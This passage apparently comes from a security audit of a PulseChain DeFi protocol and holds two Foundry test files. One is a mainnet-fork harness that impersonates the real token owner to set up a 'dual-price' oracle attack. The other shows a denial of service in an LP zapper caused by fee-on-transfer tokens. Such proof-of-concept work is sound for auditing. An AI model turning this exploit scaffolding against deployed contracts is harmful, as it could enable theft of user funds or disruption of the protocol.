            treasury  // Realistic: Protocol treasury owns Esteem
        );

        // Deploy Favor to real PLSF address (vm.etch strategy)
        IUniswapV2Pair tempPair = IUniswapV2Pair(PLS_PLSF_LP);
        address realToken0 = tempPair.token0();
        address realToken1 = tempPair.token1();

        // Determine which is PLSF (not WPLS)
        address realPLSFAddress = (realToken0 == WPLS) ? realToken1 : realToken0;

        // Deploy Favor Token temporarily first
        Favor tempFavor = new Favor(
            treasury,               // Realistic: Protocol treasury owns Favor
            "Favor Token",          // Name
            "FAVOR",               // Symbol
            0,                     // Initial supply (0, will mint as needed)
            treasury,              // Treasury address
            address(esteem)        // Esteem token address
        );

        // Deploy Favor to real PLSF address using vm.etch()
        bytes memory favorBytecode = address(tempFavor).code;
        vm.etch(realPLSFAddress, favorBytecode);

        // Point our favor reference to the real PLSF address
        favor = Favor(realPLSFAddress);

        // Deploy MinterOracle (src/MinterOracle.sol)
        minterOracle = new MinterOracle(
            payable(FETCH_PROTOCOL),  // Real Fetch Protocol address
            treasury                  // Realistic: Protocol treasury owns MinterOracle
        );

        // Deploy TWAP Oracle (src/UniTWAPOracle.sol)
        twapOracle = new Oracle(
            IUniswapV2Pair(PLS_PLSF_LP),  // Real LP pair interface
            TWAP_PERIOD,                   // 30 minutes TWAP period
            block.timestamp,               // Start time (now)
            type(uint256).max              // No price cap
        );

        // Deploy PulseMinter/MintRedeemer (src/PulseMinter.sol)
        pulseMinter = new MintRedeemer(
            address(esteem),              // Our fresh Esteem token
            block.timestamp,              // Start time (now)
            treasury                      // Realistic: Protocol treasury owns MintRedeemer
        );

    }

    /**
     * @dev Configure fresh contracts to use real infrastructure
     * @notice Connects our deployed contracts to real Aave, Fetch Protocol, LP pairs
     */
    function _configureFreshContracts() internal {

        // Configure MinterOracle to use real Fetch Protocol (done in constructor)

        // Grant PulseMinter permission to mint tokens

        // Esteem: We control this (deployed fresh)
        vm.prank(treasury);
        esteem.addMinter(address(pulseMinter));

        // Favor: Using real PLSF address, need to find real owner
        address realPLSFOwner;
        try favor.owner() returns (address currentOwner) {
            realPLSFOwner = currentOwner;
            // Use real owner to grant minter permissions
            vm.prank(realPLSFOwner);
            favor.addMinter(address(pulseMinter));
        } catch {
            revert("CRITICAL: Cannot determine PLSF owner - minter setup required for PLS->Esteem->
    Favor attack flow!");
        }

        // Configure PulseMinter to use real Aave v3 Pool
        vm.prank(treasury);
        pulseMinter.setPool(address(REAL_AAVE_POOL));

        // Configure PulseMinter with price oracles
        vm.prank(treasury);
        pulseMinter.setPriceOracle(address(0), address(minterOracle));  // Native PLS uses
    MinterOracle
        vm.prank(treasury);
        pulseMinter.setPriceOracle(WPLS, address(minterOracle));        // WPLS uses MinterOracle
        vm.prank(treasury);
        pulseMinter.setPriceOracle(PLSX, address(minterOracle));        // PLSX uses MinterOracle
        vm.prank(treasury);
        pulseMinter.setPriceOracle(PDAI, address(minterOracle));        // PDAI uses MinterOracle
        vm.prank(treasury);
        pulseMinter.setPriceOracle(address(favor), address(minterOracle)); // Favor ALSO uses
    MinterOracle (universal)

        // Configure MinterOracle internal delegation to TWAP oracle for Favor
        vm.prank(treasury);
        minterOracle.setPriceOracle(address(favor), address(twapOracle)); // MinterOracle delegates
    Favor → TWAP

        // Register our fresh Favor token as supported for redemption
        vm.prank(treasury);
        pulseMinter.setActiveFavorToken(address(favor), true);

        // Connect to real LP pair for verification
        plsfLPPair = IUniswapV2Pair(PLS_PLSF_LP);

        // Initialize TWAP Oracle (needs first update to work)
        // Oracle owner is the test contract (this), so we can call update directly
        try twapOracle.update() {
        } catch Error(string memory reason) {
            revert(string(abi.encodePacked("CRITICAL: TWAP Oracle initialization failed - required for
     dual-price attack: ", reason)));
        } catch {
            revert("CRITICAL: TWAP Oracle initialization failed - required for dual-price
    vulnerability mechanism!");
        }

    }

    // ==================== REAL PRICE FETCHING FUNCTIONS ====================
    // CRITICAL: These functions port the EXACT proven patterns from historical_opportunity_analyzer.
    js

    /**
     * @dev Fetch real Oracle USD/PLS price using EXACT same pattern as scanner
     * @param blockNum Block number to query at
     * @param blockTime Block timestamp for staleness calculation
     * @return oraclePrice Oracle USD/PLS price (18 decimals), 0 if failed
     *
     * PROVEN PATTERN FROM SCANNER:
     * - Build SpotPrice query with inner abi.encode("pls", "usd")
     * - Use 20-minute cutoff (blockTime - 1200 seconds)
     * - Query Fetch Protocol with getDataBefore
     * - Decode result and return 18-decimal price
     */
    function _fetchOracleUSDPrice(uint256 blockNum, uint256 blockTime) internal returns (uint256) {
        try this._callFetchOracle(blockNum, blockTime) returns (uint256 price) {
            return price;
        } catch {
            return 0; // Failed - return 0 to indicate failure
        }
    }

    /**
     * @dev Internal function to make the actual Fetch Protocol call
     * @notice Split into separate function for better error handling
     */
    function _callFetchOracle(uint256 blockNum, uint256 blockTime) external returns (uint256) {
        // Step 1: Build query EXACTLY like scanner (SpotPrice with inner abi.encode)
        bytes memory inner = abi.encode("pls", "usd");
        bytes memory queryData = abi.encode("SpotPrice", inner);
        bytes32 queryId = keccak256(queryData);

        // Step 2: Calculate 20-minute cutoff (same as scanner)
        uint256 cutoffTimestamp = blockTime - (20 * 60); // 20 minutes ago

        // Step 3: Prepare getDataBefore call
        bytes memory callData = abi.encodeWithSignature(
            "getDataBefore(bytes32,uint256)",
            queryId,
            cutoffTimestamp
        );

        // Step 4: Make the call to Fetch Protocol at specific block
        (bool success, bytes memory result) = FETCH_PROTOCOL.staticcall(callData);
        require(success, "Fetch Protocol call failed");

        // Step 5: Decode result (same as scanner)
        (bool ok, bytes memory valueBytes, ) = abi.decode(result, (bool, bytes, uint256));
        require(ok, "No oracle data available");

        // Step 6: Decode the price from valueBytes
        uint256 priceRaw = abi.decode(valueBytes, (uint256));

        // Step 7: Return 18-decimal price (Fetch Protocol returns 18-decimal)
        return priceRaw;
    }

    /**
     * @dev Fetch real DEX USD/PLS price using EXACT same pattern as scanner
     * @param blockNum Block number to query at
     * @return dexPrice DEX USD/PLS price (18 decimals), 0 if failed
     *
     * PROVEN PATTERN FROM SCANNER:
     * - Get reserves from USDC/WPLS LP (0x6753...)
     * - USDC (6 decimals) / WPLS (18 decimals) = USD per PLS
     * - Assume USDC = $1 (standard assumption)
     * - Return 18-decimal normalized price
     */
    function _fetchDexUSDPrice(uint256 blockNum) internal view returns (uint256) {
        try this._callDexReserves(blockNum) returns (uint256 price) {
            return price;
        } catch {
            return 0; // Failed - return 0 to indicate failure
        }
    }

    /**
     * @dev Internal function to get DEX reserves and calculate price
     * @notice Split into separate function for better error handling
     */
    function _callDexReserves(uint256 blockNum) external view returns (uint256) {
        // Step 1: Get reserves from USDC/WPLS LP (same as scanner)
        IUniswapV2Pair usdcPair = IUniswapV2Pair(USDC_WPLS_LP);
        (uint112 reserve0, uint112 reserve1, ) = usdcPair.getReserves();

        // Step 2: Convert to proper decimals (same calculation as scanner)
        // USDC (6 decimals) / WPLS (18 decimals) = USD per PLS
        uint256 usdcReserve = uint256(reserve0) * 1e12; // Convert 6 decimals to 18
        uint256 wplsReserve = uint256(reserve1);        // Already 18 decimals

        require(wplsReserve > 0, "No WPLS liquidity");

        // Step 3: Calculate USD/PLS price (assume USDC = $1)
        uint256 usdPerPls = (usdcReserve * 1e18) / wplsReserve;

        return usdPerPls;
    }


    /**
     * @dev Verify our deployed contracts are properly configured
     * @notice Ensures attack vector is accessible with our fresh deployments
     *
     * VERIFICATION CHECKS:
     * 1. All contracts deployed successfully (non-zero addresses)
     * 2. Contract interfaces are accessible and functional
     * 3. Oracle connections are working (can get prices)
     * 4. Token permissions are configured (minting/burning)
     * 5. Infrastructure connections are active (Aave, LP pairs)
     *
     * This replaces the old production address verification since we're now
     * testing our own deployed contracts instead of hardcoded addresses.
     */
    function _verifyDeployedContracts() internal view {
        // Verify all contracts deployed successfully
        require(address(esteem) != address(0), "Esteem token not deployed");
        require(address(favor) != address(0), "Favor token not deployed");
        require(address(minterOracle) != address(0), "MinterOracle not deployed");
        require(address(pulseMinter) != address(0), "PulseMinter not deployed");
        require(address(twapOracle) != address(0), "TWAP Oracle not deployed");

        // Verify token interfaces work
        try esteem.totalSupply() returns (uint256 /*supply*/) {
        } catch {
            revert("Esteem token interface failed");
        }

        try favor.totalSupply() returns (uint256 /*supply*/) {
        } catch {
            revert("Favor token interface failed");
        }

        // Verify TWAP oracle can provide prices for tokens in the real LP pair
        // Note: Our TWAP oracle watches PLS/PLSF pair, so we query those tokens, not our fresh Favor
        address token0 = plsfLPPair.token0(); // Get actual tokens from the real LP pair
        address token1 = plsfLPPair.token1();

        try twapOracle.consult(token0, SAMPLE_TOKEN_AMOUNT) returns (uint256 /*price0*/) {
            try twapOracle.consult(token1, SAMPLE_TOKEN_AMOUNT) returns (uint256 /*price1*/) {
            } catch {
                revert("CRITICAL: TWAP Oracle token1 consultation failed - dual-price mechanism broken
    !");
            }
        } catch {
            revert("CRITICAL: TWAP Oracle not ready - dual-price vulnerability requires functional
    TWAP pricing!");
        }

        // Verify real LP pair connection
        try plsfLPPair.getReserves() returns (uint112 /*reserve0*/, uint112 /*reserve1*/, uint32 /*
    timestamp*/) {
        } catch {
            revert("LP pair connection failed");
        }

    }


    /**
     * @dev Test fresh contract deployment and configuration
     */
    function test_FreshContractSetup() public {
        // Verify all fresh contracts are deployed
        assertTrue(address(esteem) != address(0), "Esteem not deployed");
        assertTrue(address(favor) != address(0), "Favor not deployed");
        assertTrue(address(minterOracle) != address(0), "MinterOracle not deployed");
        assertTrue(address(pulseMinter) != address(0), "PulseMinter not deployed");
        assertTrue(address(twapOracle) != address(0), "TWAP Oracle not deployed");

        // Verify real infrastructure is accessible
        assertTrue(address(REAL_AAVE_POOL).code.length > 0, "Aave pool not accessible");
        assertTrue(WPLS.code.length > 0, "WPLS not accessible");
        assertTrue(PLS_PLSF_LP.code.length > 0, "LP pair not accessible");

        // Verify LP pair connection
        assertTrue(address(plsfLPPair) != address(0), "LP Pair not connected");
        assertEq(address(plsfLPPair), PLS_PLSF_LP, "LP pair address mismatch");

    }

    /**
     * @dev Test PulseChain fork state and readiness for attack
     */
    function test_PulseChainForkState() public {
        // Verify we're on a reasonable fork state
        assertTrue(block.number > 1000000, "Fork block number seems too low - check PulseChain
    connection");
        assertTrue(block.timestamp > 1600000000, "Fork timestamp seems too low - check fork setup");
    }


    // Notes: Hybrid testing uses real LP pairs for TWAP data and Fetch Protocol for USD pricing.
}
```

6. ZapperFOTDoS.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import { LPZapper } from "../src/Zapper.sol";

interface IERC20Like {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address) external view returns (uint256);
    function transfer(address,uint256) external returns (bool);
    function allowance(address,address) external view returns (uint256);
    function approve(address,uint256) external returns (bool);
    function transferFrom(address,address,uint256) external returns (bool);
}

// Minimal ERC20
contract SimpleERC20 is IERC20Like {
    string public name;
    string public symbol;
    uint8 public immutable decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(string memory _n, string memory _s) {
        name = _n; symbol = _s;
    }

    function _mint(address to, uint256 amt) internal {
        totalSupply += amt; balanceOf[to] += amt;
    }
    function mint(address to, uint256 amt) external { _mint(to, amt); }

    function transfer(address to, uint256 amt) external returns (bool) {
        require(balanceOf[msg.sender] >= amt, "ERC20: balance");
        balanceOf[msg.sender] -= amt; balanceOf[to] += amt; return true;
    }
    function approve(address s, uint256 amt) external returns (bool) { allowance[msg.sender][s] = amt;
     return true; }
    function transferFrom(address from, address to, uint256 amt) external returns (bool) {
        uint256 a = allowance[from][msg.sender];
        require(a >= amt, "ERC20: allowance");
        allowance[from][msg.sender] = a - amt;
        require(balanceOf[from] >= amt, "ERC20: balance");
        balanceOf[from] -= amt; balanceOf[to] += amt; return true;
    }
}

// Fee-on-transfer ERC20 (fee applies to transfer and transferFrom)
contract FeeOnTransferERC20 is IERC20Like {
    string public name; string public symbol; uint8 public immutable decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public feeBps; // e.g., 100 = 1%, 6000 = 60%

    constructor(string memory _n, string memory _s, uint256 _feeBps) {
        name = _n; symbol = _s; feeBps = _feeBps;
    }
    function setFee(uint256 _feeBps) external { feeBps = _feeBps; }
    function _mint(address to, uint256 amt) internal { totalSupply += amt; balanceOf[to] += amt; }
    function mint(address to, uint256 amt) external { _mint(to, amt); }

    function _takeFee(uint256 amt) internal view returns (uint256 net) {
        uint256 fee = amt * feeBps / 10000; return amt - fee;
    }
    function transfer(address to, uint256 amt) external returns (bool) {
        require(balanceOf[msg.sender] >= amt, "ERC20: balance");
        uint256 net = _takeFee(amt);
        balanceOf[msg.sender] -= amt; balanceOf[to] += net; return true;
    }
    function approve(address s, uint256 amt) external returns (bool) { allowance[msg.sender][s] = amt;
     return true; }
    function transferFrom(address from, address to, uint256 amt) external returns (bool) {
        uint256 a = allowance[from][msg.sender]; require(a >= amt, "ERC20: allowance"); allowance[from
    ][msg.sender] = a - amt;
        require(balanceOf[from] >= amt, "ERC20: balance");
        uint256 net = _takeFee(amt);
        balanceOf[from] -= amt; balanceOf[to] += net; return true;
    }
}

// Minimal router mimic that strictly pulls exact amounts from the caller (Zapper)
contract RouterMimic {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint /*amountOutMin*/,
        address[] calldata path,
        address to,
        uint /*deadline*/
    ) external {
        // Pull exact amountIn from caller; will revert if insufficient balance/allowance
        IERC20Like(path[0]).transferFrom(msg.sender, address(this), amountIn);
        // Mint/credit a symbolic small amount of output, for flow continuity
        // If output token supports mint, try; otherwise skip (not needed for revert demonstration)
        (to);
    }

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint /*amountAMin*/,
        uint /*amountBMin*/,
        address /*to*/,
        uint /*deadline*/
    ) external returns (uint amountA, uint amountB, uint liquidity) {
        // Pull exact desired amounts from caller; revert on shortfall
        IERC20Like(tokenA).transferFrom(msg.sender, address(this), amountADesired);
        IERC20Like(tokenB).transferFrom(msg.sender, address(this), amountBDesired);
        return (amountADesired, amountBDesired, 0);
    }
```

```
}

contract ZapperFOTDoS is Test {
    LPZapper zapper;
    RouterMimic router;
    FeeOnTransferERC20 base; // FOT token
    SimpleERC20 favor;       // simple ERC20 for favor side

    address user;

    function setUp() public {
        user = makeAddr("user");
        router = new RouterMimic();
        zapper = new LPZapper(address(this), address(router));

        base = new FeeOnTransferERC20("FeeToken", "FEE", 100); // 1% default
        favor = new SimpleERC20("FavorMock", "FAV");

        // Register mapping so Zapper accepts pairs
        // lp address is unused by router mimic; set to router address (non-zero)
        zapper.addFavor(address(favor), address(router), address(base));

        // Fund user
        base.mint(user, 1_000e18);
        favor.mint(user, 1_000e18);
    }

    function test_zapToken_reverts_on_FOT_swap_stage_when_received_less_than_half() public {
        // Configure high fee to force received < half
        base.setFee(6000); // 60%
        uint256 amount = 100e18;

        vm.startPrank(user);
        base.approve(address(zapper), amount);
        // Expect revert in router.transferFrom due to Zapper balance < half
        vm.expectRevert();
        zapper.zapToken(address(base), amount, block.timestamp + 300);
        vm.stopPrank();
    }

    function test_addLiquidity_reverts_on_FOT_desired_exceeds_received() public {
        // Keep low fee (1%) so transfers succeed into Zapper, but it receives < desired
        base.setFee(100); // 1%
        uint256 aDesired = 100e18;
        uint256 bDesired = 100e18;

        vm.startPrank(user);
        // Transfer desired amounts from user to Zapper via Zapper.addLiquidity flow
        favor.approve(address(zapper), aDesired);
        base.approve(address(zapper), bDesired);
        // Expect revert in router.addLiquidity when it tries to pull exact desired base amount while
    Zapper holds less
        vm.expectRevert();
        zapper.addLiquidity(address(favor), address(base), aDesired, bDesired, 0, 0, user, block.
    timestamp + 300);
        vm.stopPrank();
    }
}
```